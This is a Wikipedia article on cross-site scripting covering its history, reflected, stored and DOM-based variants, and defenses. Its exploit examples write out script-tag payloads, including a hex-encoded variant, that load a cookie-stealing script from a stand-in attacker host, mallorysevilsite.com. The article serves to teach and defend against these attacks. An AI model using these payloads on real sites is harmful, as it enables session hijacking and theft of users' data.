**Cross-site scripting**

From Wikipedia, the free encyclopedia

Jump to: [navigation](https://en.wikipedia.org/wiki/Cross-site_scripting#mw-head), [search](https://en.wikipedia.org/wiki/Cross-site_scripting#p-search)

**Cross-site scripting** (**XSS**) is a type of [computer security](https://en.wikipedia.org/wiki/Computer_security) [vulnerability](https://en.wikipedia.org/wiki/Vulnerability_%28computer_science%29) typically found in [web applications](https://en.wikipedia.org/wiki/Web_application). XSS enables attackers to [inject](https://en.wikipedia.org/wiki/Code_injection) [client-side scripts](https://en.wikipedia.org/wiki/Client-side_script) into [web pages](https://en.wikipedia.org/wiki/Web_page) viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass [access controls](https://en.wikipedia.org/wiki/Access_control) such as the [same-origin policy](https://en.wikipedia.org/wiki/Same-origin_policy). Cross-site scripting carried out on websites accounted for roughly 84% of all security vulnerabilities documented by [Symantec](https://en.wikipedia.org/wiki/Symantec) as of 2007.[[1]](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_note-Symantec-2007-2nd-exec-1) Their effect may range from a petty nuisance to a significant security risk, depending on the sensitivity of the data handled by the vulnerable site and the nature of any security mitigation implemented by the site's owner.

**Contents**

 [[hide](https://en.wikipedia.org/wiki/Cross-site_scripting)]

* [1 Background](https://en.wikipedia.org/wiki/Cross-site_scripting#Background)
* [2 Types](https://en.wikipedia.org/wiki/Cross-site_scripting#Types)
	+ [2.1 Reflected (non-persistent)](https://en.wikipedia.org/wiki/Cross-site_scripting#Reflected_.28non-persistent.29)
	+ [2.2 Persistent](https://en.wikipedia.org/wiki/Cross-site_scripting#Persistent)
	+ [2.3 Server-side versus DOM-based vulnerabilities](https://en.wikipedia.org/wiki/Cross-site_scripting#Server-side_versus_DOM-based_vulnerabilities)
* [3 Exploit examples](https://en.wikipedia.org/wiki/Cross-site_scripting#Exploit_examples)
	+ [3.1 Non-persistent](https://en.wikipedia.org/wiki/Cross-site_scripting#Non-persistent)
	+ [3.2 Persistent attack](https://en.wikipedia.org/wiki/Cross-site_scripting#Persistent_attack)
* [4 Preventive measures](https://en.wikipedia.org/wiki/Cross-site_scripting#Preventive_measures)
	+ [4.1 Contextual output encoding/escaping of string input](https://en.wikipedia.org/wiki/Cross-site_scripting#Contextual_output_encoding.2Fescaping_of_string_input)
	+ [4.2 Safely validating untrusted HTML input](https://en.wikipedia.org/wiki/Cross-site_scripting#Safely_validating_untrusted_HTML_input)
	+ [4.3 Cookie security](https://en.wikipedia.org/wiki/Cross-site_scripting#Cookie_security)
	+ [4.4 Disabling scripts](https://en.wikipedia.org/wiki/Cross-site_scripting#Disabling_scripts)
	+ [4.5 Emerging defensive technologies](https://en.wikipedia.org/wiki/Cross-site_scripting#Emerging_defensive_technologies)
* [5 Scanning service](https://en.wikipedia.org/wiki/Cross-site_scripting#Scanning_service)
* [6 Related vulnerabilities](https://en.wikipedia.org/wiki/Cross-site_scripting#Related_vulnerabilities)
* [7 See also](https://en.wikipedia.org/wiki/Cross-site_scripting#See_also)
* [8 References](https://en.wikipedia.org/wiki/Cross-site_scripting#References)
* [9 Further reading](https://en.wikipedia.org/wiki/Cross-site_scripting#Further_reading)
* [10 External links](https://en.wikipedia.org/wiki/Cross-site_scripting#External_links)

**Background[[edit](https://en.wikipedia.org/w/index.php?title=Cross-site_scripting&action=edit&section=1" \o "Edit section: Background)]**

Security on the web depends on a variety of mechanisms, including an underlying concept of trust known as the [same-origin policy](https://en.wikipedia.org/wiki/Same-origin_policy). This essentially states that if content from one site (such as *https://mybank.example1.com*) is granted permission to access resources on a system, then any content from that site will share these permissions, while content from another site (*https://othersite.example2.com*) will have to be granted permissions separately.[[2]](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_note-2)

Cross-site scripting attacks use known vulnerabilities in web-based applications, their servers, or plug-in systems on which they rely. Exploiting one of these, attackers fold malicious content into the content being delivered from the compromised site. When the resulting combined content arrives at the client-side [web browser](https://en.wikipedia.org/wiki/Web_browser), it has all been delivered from the trusted source, and thus operates under the permissions granted to that system. By finding ways of injecting malicious scripts into web pages, an attacker can gain elevated access-privileges to sensitive page content, to session cookies, and to a variety of other information maintained by the browser on behalf of the user. Cross-site scripting attacks represent a special case of [code injection](https://en.wikipedia.org/wiki/Code_injection).[*[citation needed](https://en.wikipedia.org/wiki/Wikipedia%3ACitation_needed%22%20%5Co%20%22Wikipedia%3ACitation%20needed)*]

[Microsoft](https://en.wikipedia.org/wiki/Microsoft) security-engineers introduced the term "cross-site scripting" in January 2000.[[3]](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_note-xssname-3) The expression "cross-site scripting" originally referred to the act of loading the attacked, third-party web application from an unrelated attack-site, in a manner that executes a fragment of [JavaScript](https://en.wikipedia.org/wiki/JavaScript) prepared by the attacker in the [security context](https://en.wikipedia.org/wiki/Same-origin_policy) of the targeted domain (taking advantage of a *reflected* or *non-persistent* XSS vulnerability). The definition gradually expanded to encompass other modes of code injection, including persistent and non-JavaScript vectors (including [ActiveX](https://en.wikipedia.org/wiki/ActiveX), [Java](https://en.wikipedia.org/wiki/Java_%28programming_language%29), [VBScript](https://en.wikipedia.org/wiki/VBScript), [Flash](https://en.wikipedia.org/wiki/Adobe_Flash), or even [HTML](https://en.wikipedia.org/wiki/HTML) scripts), causing some confusion to newcomers to the field of [information security](https://en.wikipedia.org/wiki/Information_security).[[4]](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_note-Grossman-4)

XSS vulnerabilities have been reported and exploited since the 1990s. Prominent sites affected in the past include the social-networking sites [Twitter](https://en.wikipedia.org/wiki/Twitter),[[5]](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_note-5) [Facebook](https://en.wikipedia.org/wiki/Facebook),[[6]](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_note-6) [MySpace](https://en.wikipedia.org/wiki/MySpace), [YouTube](https://en.wikipedia.org/wiki/YouTube) and [Orkut](https://en.wikipedia.org/wiki/Orkut).[[7]](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_note-7)[[8]](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_note-8) In subsequent years,[[*when?*](https://en.wikipedia.org/wiki/Wikipedia%3AManual_of_Style/Dates_and_numbers#Chronological_items)] cross-site scripting flaws surpassed [buffer overflows](https://en.wikipedia.org/wiki/Buffer_overflow) to become the most common publicly reported security vulnerability,[[9]](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_note-9) with some researchers in 2007 viewing as many as 68% of websites as likely open to XSS attacks.[[10]](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_note-10)

**Types[[edit](https://en.wikipedia.org/w/index.php?title=Cross-site_scripting&action=edit&section=2" \o "Edit section: Types)]**

There is no single, standardized classification of cross-site scripting flaws, but most experts distinguish between at least two primary flavors of XSS flaws: *non-persistent* and *persistent*. Some sources further divide these two groups into *traditional* (caused by server-side code flaws) and [*DOM*](https://en.wikipedia.org/wiki/Document_Object_Model)*-based* (in client-side code).

**Reflected (non-persistent)[[edit](https://en.wikipedia.org/w/index.php?title=Cross-site_scripting&action=edit&section=3" \o "Edit section: Reflected (non-persistent))]**

**Example of a non-persistent XSS flaw**

Non-persistent XSS vulnerabilities in Google could allow malicious sites to attack Google users who visit them while logged in.[[11]](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_note-11)

The *non-persistent* (or *reflected*) cross-site scripting vulnerability is by far the most common type.[[12]](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_note-HopeWalther-12) These holes show up when the data provided by a web client, most commonly in HTTP query parameters (e.g. HTML form submission), is used immediately by server-side scripts to parse and display a page of results for and to that user, without properly [sanitizing](https://en.wikipedia.org/wiki/HTML_sanitization) the request.[[13]](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_note-WASC-2005-13)

Because HTML documents have a flat, serial structure that mixes control statements, formatting, and the actual content, any non-validated user-supplied data included in the resulting page without proper HTML encoding, may lead to markup injection.[[12]](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_note-HopeWalther-12)[[13]](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_note-WASC-2005-13) A classic example of a potential vector is a site search engine: if one searches for a string, the search string will typically be redisplayed verbatim on the result page to indicate what was searched for. If this response does not properly [escape](https://en.wikipedia.org/wiki/Escape_character) or reject HTML control characters, a cross-site scripting flaw will ensue.[[14]](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_note-GHFPR-14)

A reflected attack is typically delivered via email or a neutral web site. The bait is an innocent-looking URL, pointing to a trusted site but containing the XSS vector. If the trusted site is vulnerable to the vector, clicking the link can cause the victim's browser to execute the injected script.

**Persistent[[edit](https://en.wikipedia.org/w/index.php?title=Cross-site_scripting&action=edit&section=4" \o "Edit section: Persistent)]**

**Example of a persistent XSS flaw**

A persistent [cross-zone scripting](https://en.wikipedia.org/wiki/Cross-zone_scripting) vulnerability coupled with a [computer worm](https://en.wikipedia.org/wiki/Computer_worm) allowed execution of arbitrary code and listing of filesystem contents via a QuickTime movie on [MySpace](https://en.wikipedia.org/wiki/MySpace).[[15]](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_note-15)

The *persistent* (or *stored*) XSS vulnerability is a more devastating variant of a cross-site scripting flaw: it occurs when the data provided by the attacker is saved by the server, and then permanently displayed on "normal" pages returned to other users in the course of regular browsing, without proper HTML escaping. A classic example of this is with online message boards where users are allowed to post HTML formatted messages for other users to read.[[13]](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_note-WASC-2005-13)

For example, suppose there is a dating website where members scan the profiles of other members to see if they look interesting. For privacy reasons, this site hides everybody's real name and email. These are kept secret on the server. The only time a member's real name and email are in the browser is when the member is signed in, and they can't see anyone else's.

Suppose that Mallory, an attacker, joins the site and wants to figure out the real names of the people she sees on the site. To do so, she writes a script designed to run from other people's browsers when **they** visit **her** profile. The script then sends a quick message to her own server, which collects this information.

To do this, for the question "Describe your Ideal First Date", Mallory gives a short answer (to appear normal) but the text at the end of her answer is her script to steal names and emails. If the script is enclosed inside a <script> element, it won't be shown on the screen. Then suppose that Bob, a member of the dating site, reaches Mallory’s profile, which has her answer to the First Date question. Her script is run automatically by the browser and steals a copy of Bob’s real name and email directly from his own machine.

Persistent XSS vulnerabilities can be more significant than other types because an attacker's malicious script is rendered automatically, without the need to individually target victims or lure them to a third-party website. Particularly in the case of social networking sites, the code would be further designed to self-propagate across accounts, creating a type of client-side [worm](https://en.wikipedia.org/wiki/Computer_worm).[[16]](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_note-16)

The methods of injection can vary a great deal; in some cases, the attacker may not even need to directly interact with the web functionality itself to exploit such a hole. Any data received by the web application (via email, system logs, IM etc.) that can be controlled by an attacker could become an injection vector.

**Server-side versus DOM-based vulnerabilities[[edit](https://en.wikipedia.org/w/index.php?title=Cross-site_scripting&action=edit&section=5" \o "Edit section: Server-side versus DOM-based vulnerabilities)]**

**Example of a DOM-based XSS flaw**

Before the bug was resolved, Bugzilla error pages were open to [DOM](https://en.wikipedia.org/wiki/Document_Object_Model)-based XSS attacks in which arbitrary HTML and scripts could be injected using forced error messages.[[17]](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_note-17)

Historically XSS vulnerabilities were first found in applications that performed all data processing on the server side. User input (including an XSS vector) would be sent to the server, and then sent back to the user as a web page. The need for an improved user experience resulted in popularity of applications that had a majority of the presentation logic (maybe written in [JavaScript](https://en.wikipedia.org/wiki/JavaScript)) working on the client-side that pulled data, on-demand, from the server using [AJAX](https://en.wikipedia.org/wiki/AJAX).

As the JavaScript code was also processing user input and rendering it in the web page content, a new sub-class of reflected XSS attacks started to appear that was called [*DOM*](https://en.wikipedia.org/wiki/Document_Object_Model)*-based cross-site scripting*. In a DOM-based XSS attack, the malicious data does not touch the web server. Rather, it is being reflected by the JavaScript code, fully on the client side.[[18]](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_note-18)

An example of a DOM-based XSS vulnerability is the bug found in 2011 in a number of [JQuery](https://en.wikipedia.org/wiki/JQuery) plugins.[[19]](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_note-19) Prevention strategies for DOM-based XSS attacks include very similar measures to traditional XSS prevention strategies but implemented in [JavaScript](https://en.wikipedia.org/wiki/JavaScript) code and contained in web pages (i.e. input validation and escaping).[[20]](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_note-20) Some [JavaScript frameworks](https://en.wikipedia.org/wiki/JavaScript_library) have built-in countermeasures against this and other types of attack — for example [Angular.js](https://en.wikipedia.org/wiki/Angular.js).[[21]](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_note-21)

**Exploit examples[[edit](https://en.wikipedia.org/w/index.php?title=Cross-site_scripting&action=edit&section=6" \o "Edit section: Exploit examples)]**

Attackers intending to exploit cross-site scripting vulnerabilities must approach each class of vulnerability differently. For each class, a specific attack vector is described here. The names below are technical terms, taken from the [cast of characters](https://en.wikipedia.org/wiki/Alice_and_Bob) commonly used in computer security.

The [Browser Exploitation Framework](https://en.wikipedia.org/w/index.php?title=BeEF_(Browser_Exploitation_Framework)&action=edit&redlink=1) could be used to attack the web site and the user's local environment.

**Non-persistent[[edit](https://en.wikipedia.org/w/index.php?title=Cross-site_scripting&action=edit&section=7" \o "Edit section: Non-persistent)]**

1. Alice often visits a particular website, which is hosted by Bob. Bob's website allows Alice to log in with a username/password pair and stores sensitive data, such as billing information. When a user logs in, the browser keeps an Authorization Cookie, which looks like some garbage characters, so both computers (client and server) remember that she's logged in.
2. Mallory observes that Bob's website contains a reflected XSS vulnerability:
	1. When she visits the Search page, she inputs a search term in the search box and clicks the submit button. If no results were found, the page will display the term she searched for followed by the words "not found," and the url will be http://bobssite.org?q=her search term.
	2. With a normal search query, like the word "**puppies**", the page simply displays "**puppies** not found" and the url is "http://bobssite.org**?q=puppies**" - which is perfectly normal behavior.
	3. However, when she submits an abnormal search query, like "<script type='text/javascript'>alert('xss');</script>",
		1. An alert box appears (that says "xss").
		2. The page displays "<script type='text/javascript'>alert('xss');</script> not found," along with an error message with the text 'xss'.
		3. The url is "http://bobssite.org**?q=<script%20type='text/javascript'>alert('xss');</script>** - which is exploitable behavior.
3. Mallory crafts a URL to exploit the vulnerability:
	1. She makes the URL http://bobssite.org**?q=puppies<script%20src="http://mallorysevilsite.com/authstealer.js"></script>**. She could choose to convert the [ASCII](https://en.wikipedia.org/wiki/ASCII) characters into [hexadecimal](https://en.wikipedia.org/wiki/Hexadecimal) format, such as http://bobssite.org**?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E**, so that human readers cannot immediately decipher the malicious URL.[[22]](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_note-geekstuff-22)
	2. She sends an e-mail to some unsuspecting members of Bob's site, saying "Check out some cute puppies!"
4. Alice gets the e-mail. She loves puppies and clicks on the link. It goes to Bob's website to search, doesn't find anything, and displays "puppies not found" but right in the middle, the script tag runs (it is invisible on the screen) and loads and runs Mallory's program authstealer.js (triggering the XSS attack). Alice forgets about it.
5. The authstealer.js program runs in Alice's browser, as if it originated from Bob's website. It grabs a copy of Alice's Authorization Cookie and sends it to Mallory's server, where Mallory retrieves it.
6. Mallory now puts Alice's Authorization Cookie into her browser as if it were her own. She then goes to Bob's site and is now logged in as Alice.
7. Now that she's in, Mallory goes to the Billing section of the website and looks up Alice's credit card number and grabs a copy. Then she goes and changes her password so Alice can't even log in anymore.
8. She decides to take it a step further and sends a similarly crafted link to Bob himself, thus gaining administrator privileges to Bob's website.

Several things could have been done to mitigate this attack:

1. The search input could have been [sanitized](https://en.wikipedia.org/wiki/HTML_sanitization) which would include proper encoding checking.
2. The web server could be set to [redirect](https://en.wikipedia.org/wiki/Server-side_redirect) invalid requests.
3. The web server could detect a simultaneous login and invalidate the sessions.
4. The web server could detect a simultaneous login from two different IP addresses and invalidate the sessions.
5. The website could display only the last few digits of a previously used credit card.
6. The website could require users to enter their passwords again before changing their registration information.
7. The website could enact various aspects of the [Content Security Policy](https://en.wikipedia.org/wiki/Content_Security_Policy).
8. Users could be educated to *not* click "benign-looking," but malicious, links.

**Persistent attack[[edit](https://en.wikipedia.org/w/index.php?title=Cross-site_scripting&action=edit&section=8" \o "Edit section: Persistent attack)]**

1. Mallory gets an account on Bob's website.
2. Mallory observes that Bob's website contains a stored XSS vulnerability. If you go to the News section, and post a comment, it will display whatever he types in for the comment. But, if the comment text contains HTML tags in it, the tags get displayed as is, and any script tags get run.
3. Mallory reads an article in the News section and writes in a comment at the bottom in the Comments section. In the comment, she inserts this text: I love the puppies in this story! They're so cute!**<script src="http://mallorysevilsite.com/authstealer.js">**
4. When Alice (or anyone else) loads the page with the comment, Mallory's script tag runs and steals Alice's authorization cookie, sending it to Mallory's secret server for collection.[[22]](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_note-geekstuff-22)
5. Mallory can now [hijack](https://en.wikipedia.org/wiki/Session_hijacking) Alice's session and impersonate Alice.[[23]](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_note-23)[[22]](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_note-geekstuff-22)

Bob's website software should have stripped out the script tag or done something to make sure it didn't work, but the security bug is in the fact that he didn't.

**Preventive measures[[edit](https://en.wikipedia.org/w/index.php?title=Cross-site_scripting&action=edit&section=9" \o "Edit section: Preventive measures)]**

|  |  |
| --- | --- |
| https://upload.wikimedia.org/wikipedia/en/thumb/f/f2/Edit-clear.svg/40px-Edit-clear.svg.png | This section **is written like [a manual or guidebook](https://en.wikipedia.org/wiki/Wikipedia%3ANOT%22%20%5Cl%20%22GUIDE%22%20%5Co%20%22Wikipedia%3ANOT).** Please help [rewrite this section](https://en.wikipedia.org/w/index.php?title=Cross-site_scripting&action=edit) from a descriptive, [neutral point of view](https://en.wikipedia.org/wiki/Wikipedia%3ANeutral_point_of_view%22%20%5Co%20%22Wikipedia%3ANeutral%20point%20of%20view), and remove advice or instruction. *(December 2014)* |

**Contextual output encoding/escaping of string input[[edit](https://en.wikipedia.org/w/index.php?title=Cross-site_scripting&action=edit&section=10" \o "Edit section: Contextual output encoding/escaping of string input)]**

Contextual output encoding/escaping could be used as the primary defense mechanism to stop XSS attacks. There are several escaping schemes that can be used depending on where the untrusted string needs to be placed within an HTML document including HTML entity encoding, JavaScript escaping, CSS escaping, and [URL (or percent) encoding](https://en.wikipedia.org/wiki/Percent-encoding).[[24]](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_note-OWASP-24) Most web applications that do not need to accept rich data can use escaping to largely eliminate the risk of XSS attacks in a fairly straightforward manner.

Although widely recommended, performing HTML entity encoding only on the [five XML significant characters](https://en.wikipedia.org/wiki/List_of_XML_and_HTML_character_entity_references#Predefined_entities_in_XML) is not always sufficient to prevent many forms of XSS attacks. As encoding is often difficult, security encoding libraries are usually easier to use.[[24]](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_note-OWASP-24)

**Safely validating untrusted HTML input[[edit](https://en.wikipedia.org/w/index.php?title=Cross-site_scripting&action=edit&section=11" \o "Edit section: Safely validating untrusted HTML input)]**

Many operators of particular web applications (e.g. forums and webmail) allow users to utilize a limited subset of HTML markup. When accepting HTML input from users (say, <b>very</b> large), output encoding (such as &lt;b&gt;very&lt;/b&gt; large) will not suffice since the user input needs to be rendered as HTML by the browser (so it shows as "**very** large", instead of "<b>very</b> large"). Stopping an XSS attack when accepting HTML input from users is much more complex in this situation. Untrusted HTML input must be run through an [HTML sanitization](https://en.wikipedia.org/wiki/HTML_sanitization) engine to ensure that it does not contain XSS code.

**Cookie security[[edit](https://en.wikipedia.org/w/index.php?title=Cross-site_scripting&action=edit&section=12" \o "Edit section: Cookie security)]**

Besides content filtering, other imperfect methods for cross-site scripting mitigation are also commonly used. One example is the use of additional security controls when handling [cookie](https://en.wikipedia.org/wiki/HTTP_cookie)-based user authentication. Many web applications rely on session cookies for authentication between individual HTTP requests, and because client-side scripts generally have access to these cookies, simple XSS exploits can steal these cookies.[[25]](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_note-Sharma-25) To mitigate this particular threat (though not the XSS problem in general), many web applications tie session cookies to the IP address of the user who originally logged in, then only permit that IP to use that cookie.[[26]](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_note-ModSecurity-26) This is effective in most situations (if an attacker is only after the cookie), but obviously breaks down in situations where an attacker is behind the same [NATed](https://en.wikipedia.org/wiki/Network_address_translation) IP address or [web proxy](https://en.wikipedia.org/wiki/Web_proxy) as the victim, or the victim is changing his or her [mobile IP](https://en.wikipedia.org/wiki/Mobile_IP).[[26]](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_note-ModSecurity-26)

Another mitigation present in [Internet Explorer](https://en.wikipedia.org/wiki/Internet_Explorer) (since version 6), [Firefox](https://en.wikipedia.org/wiki/Firefox) (since version 2.0.0.5), [Safari](https://en.wikipedia.org/wiki/Safari) (since version 4), [Opera](https://en.wikipedia.org/wiki/Opera) (since version 9.5) and [Google Chrome](https://en.wikipedia.org/wiki/Google_Chrome), is an *HttpOnly* flag which allows a web server to set a cookie that is unavailable to client-side scripts. While beneficial, the feature can neither fully prevent cookie theft nor prevent attacks within the browser.[[27]](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_note-27)

**Disabling scripts[[edit](https://en.wikipedia.org/w/index.php?title=Cross-site_scripting&action=edit&section=13" \o "Edit section: Disabling scripts)]**

While [Web 2.0](https://en.wikipedia.org/wiki/Web_2.0) and [Ajax](https://en.wikipedia.org/wiki/Ajax_%28programming%29) designers favor the use of JavaScript,[[28]](https://en.wikipedia.org/wiki/Cross-site_scripting%22%20%5Cl%20%22cite_note-28) some web applications are written to allow operation without the need for any client-side scripts.[[29]](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_note-29) This allows users, if they choose, to disable scripting in their browsers before using the application. In this way, even potentially malicious client-side scripts could be inserted unescaped on a page, and users would not be susceptible to XSS attacks.

Some browsers or browser plugins can be configured to disable client-side scripts on a per-domain basis. This approach is of limited value if scripting is allowed by default, since it blocks bad sites only *after* the user knows that they are bad, which is too late. Functionality that blocks all scripting and external inclusions by default and then allows the user to enable it on a per-domain basis is more effective. This has been possible for a long time in Internet Explorer (since version 4) by setting up its so called "Security Zones",[[30]](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_note-30) and in Opera (since version 9) using its "Site Specific Preferences".[[31]](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_note-31) A solution for Firefox and other [Gecko](https://en.wikipedia.org/wiki/Gecko_%28layout_engine%29)-based browsers is the open source [NoScript](https://en.wikipedia.org/wiki/NoScript) add-on which, in addition to the ability to enable scripts on a per-domain basis, provides some XSS protection even when scripts are enabled.[[32]](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_note-32)

The most significant problem with blocking all scripts on all websites by default is substantial reduction in functionality and responsiveness (client-side scripting can be much faster than server-side scripting because it does not need to connect to a remote server and the page or frame does not need to be reloaded).[[33]](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_note-33) Another problem with script blocking is that many users do not understand it, and do not know how to properly secure their browsers. Yet another drawback is that many sites do not work without client-side scripting, forcing users to disable protection for that site and opening their systems to vulnerabilities.[[34]](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_note-34) The Firefox NoScript extension enables users to allow scripts selectively from a given page while disallowing others on the same page. For example, scripts from example.com could be allowed, while scripts from advertisingagency.com that are attempting to run on the same page could be disallowed.[[35]](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_note-35)

**Emerging defensive technologies[[edit](https://en.wikipedia.org/w/index.php?title=Cross-site_scripting&action=edit&section=14" \o "Edit section: Emerging defensive technologies)]**

There are three classes of XSS defense that are emerging. These include [Content Security Policy](https://en.wikipedia.org/wiki/Content_Security_Policy),[[36]](https://en.wikipedia.org/wiki/Cross-site_scripting%22%20%5Cl%20%22cite_note-36) Javascript sandbox tools, and auto-escaping templates. These mechanisms are still evolving but promise a future of heavily reduced XSS attack occurrence.

**Scanning service[[edit](https://en.wikipedia.org/w/index.php?title=Cross-site_scripting&action=edit&section=15" \o "Edit section: Scanning service)]**

Some companies offer a periodic scan service, essentially simulating an attack from their server to a client's in order to check if the attack is successful. If the attack succeeds, the client receives detailed information on how it was performed and thus has a chance to fix the issues before the same attack is attempted by someone else. A [trust seal](https://en.wikipedia.org/wiki/Trust_seal) can be displayed on the site that passes a recent scan. The scanner may not find all possible vulnerabilities,[[37]](https://en.wikipedia.org/wiki/Cross-site_scripting%22%20%5Cl%20%22cite_note-37) and therefore sites with trust seals may still be vulnerable to new types of attack, but the scan may detect some problems. After the client fixes them, the site is more secure than it was before using the service. For sites that require complete mitigation of XSS vulnerabilities, assessment techniques like manual code review are necessary. Additionally, i Javascript is executing on the page, the seal could be overwritten with a static copy of the seal (so, in theory, such a service alone is likely not sufficient to eliminate XSS risk completely).

**Related vulnerabilities[[edit](https://en.wikipedia.org/w/index.php?title=Cross-site_scripting&action=edit&section=16" \o "Edit section: Related vulnerabilities)]**

In a **Universal Cross-Site Scripting** (**UXSS**, or **Universal XSS**) attack, vulnerabilities in the browser itself are exploited (rather than vulnerabilities in other websites, as is the case with XSS attacks); such attacks are commonly used by [Anonymous](https://en.wikipedia.org/wiki/Anonymous_%28group%29), along with DDoS, to compromise control of a network.[[38]](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_note-38)

Several classes of vulnerabilities or attack techniques are related to XSS: [cross-zone scripting](https://en.wikipedia.org/wiki/Cross-zone_scripting) exploits "zone" concepts in certain browsers and usually executes code with a greater privilege.[[39]](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_note-39) [HTTP header injection](https://en.wikipedia.org/wiki/HTTP_header_injection) can be used to create cross-site scripting conditions due to escaping problems on HTTP protocol level (in addition to enabling attacks such as [HTTP response splitting](https://en.wikipedia.org/wiki/HTTP_response_splitting)).[[40]](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_note-40)

[Cross-site request forgery](https://en.wikipedia.org/wiki/Cross-site_request_forgery) (CSRF/XSRF) is almost the opposite of XSS, in that rather than exploiting the user's trust in a site, the attacker (and his malicious page) exploits the site's trust in the client software, submitting requests that the site believes represent conscious and intentional actions of authenticated users.[[41]](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_note-41) XSS vulnerabilities (even in other applications running on the same domain) allow attackers to bypass CSRF prevention efforts.[[42]](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_note-42)

[Covert Redirect](https://en.wikipedia.org/w/index.php?title=Covert_Redirect&action=edit&redlink=1) takes advantage of third-party clients susceptible to XSS or Open Redirect attacks.[[43]](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_note-Covert_Redirect-43) Covert Redirect was discovered by a mathematical Ph.D. student named Wang Jing from Nanyang Technological University, Singapore. "Normal phishing attempts can be easy to spot, because the malicious page's URL will usually be off by a couple of letters from that of the real site. The difference with Covert Redirect is that an attacker could use the real website instead by corrupting the site with a malicious login pop-up dialogue box."[[44]](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_note-tomsguide-44)

Lastly, [SQL injection](https://en.wikipedia.org/wiki/SQL_injection) exploits a vulnerability in the database layer of an application. When user input is incorrectly filtered, any SQL statements can be executed by the application.[[45]](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_note-45)[[46]](https://en.wikipedia.org/wiki/Cross-site_scripting#cite_note-46)

**See also[[edit](https://en.wikipedia.org/w/index.php?title=Cross-site_scripting&action=edit&section=17" \o "Edit section: See also)]**

|  |  |
| --- | --- |
| Portal icon | [***Software Testing portal***](https://en.wikipedia.org/wiki/Portal%3ASoftware_Testing) |

* [Pale Moon](https://en.wikipedia.org/wiki/Pale_Moon_%28web_browser%29), a web browser with XSS filtering
* [Web application security](https://en.wikipedia.org/wiki/Web_application_security)
* [Internet security](https://en.wikipedia.org/wiki/Internet_security)
* [XML external entity](https://en.wikipedia.org/wiki/XML_external_entity)
* [Browser security](https://en.wikipedia.org/wiki/Browser_security)
* [Same-origin policy](https://en.wikipedia.org/wiki/Same-origin_policy)
* [Metasploit Project](https://en.wikipedia.org/wiki/Metasploit_Project), an open-source penetration testing tool that includes tests for XSS
* [w3af](https://en.wikipedia.org/wiki/W3af), an open-source [web application security scanner](https://en.wikipedia.org/wiki/Web_application_security_scanner)
* Free desktop [browser extensions](https://en.wikipedia.org/wiki/Browser_extension) that flexibly block execution of scripts:
	+ For [Mozilla Firefox](https://en.wikipedia.org/wiki/Mozilla_Firefox): [NoScript](https://en.wikipedia.org/wiki/NoScript), [Policeman](https://addons.mozilla.org/en-US/firefox/addon/policeman/), or the [advanced features](https://github.com/gorhill/uBlock/wiki/Advanced-user-features) of [uBlock Origin](https://addons.mozilla.org/en-US/firefox/addon/ublock-origin/), a general content blocker [extension](https://github.com/gorhill/uBlock)
	+ For [Google Chrome](https://en.wikipedia.org/wiki/Google_Chrome): [ScriptSafe](https://chrome.google.com/webstore/detail/scriptsafe/oiigbmnaadbkfbmpbfijlflahbdbdgdf), [µMatrix](https://chrome.google.com/webstore/detail/%C2%B5matrix/ogfcmafjalglgifnmanfmnieipoejdcf) (an [extension](https://github.com/gorhill/uMatrix) by the creator of [uBlock](https://en.wikipedia.org/wiki/UBlock)), or the advanced features of [uBlock](https://chrome.google.com/webstore/detail/%C2%B5block/cjpalhdlnbpafiamejdnhcphjbkeiagm)
	+ For [Opera](https://en.wikipedia.org/wiki/Opera_%28web_browser%29) (newer [Chromium](https://en.wikipedia.org/wiki/Chromium_%28web_browser%29)-based versions): [µMatrix](https://addons.opera.com/en-gb/extensions/details/umatrix/) or the advanced features of [uBlock](https://addons.opera.com/en-gb/extensions/details/ublock/)
